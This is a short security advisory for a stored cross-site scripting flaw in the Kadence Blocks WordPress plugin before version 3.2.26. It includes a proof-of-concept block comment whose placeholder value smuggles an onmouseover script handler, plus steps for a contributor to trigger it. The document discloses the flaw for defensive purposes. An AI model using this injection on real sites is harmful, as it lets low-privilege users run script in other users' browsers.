Gutenberg Blocks by Kadence Blocks < 3.2.26 - Contributor+ Stored XSS

2024-03-1500:00:00

Dmitrii Ignatyev

gutenberg blocks

kadence blocks

xss vulnerability

contributor

stored xss

code editor

5.8 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.0%

JSON

Description The plugin does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

As a contributor (or above), edit a post in Code Editor mode, put the below code in it and save:

<!-- wp:kadence/advanced-form-text {"uniqueID":"9c5eb1-eb","formID":"1","label":"Name","placeholder":"Mouse Over There!\u0022onmouseover='alert(/XSS/)'"} /-->

The XSS will be trigged when viewing/previewing the post and moving the mouse over the generated input.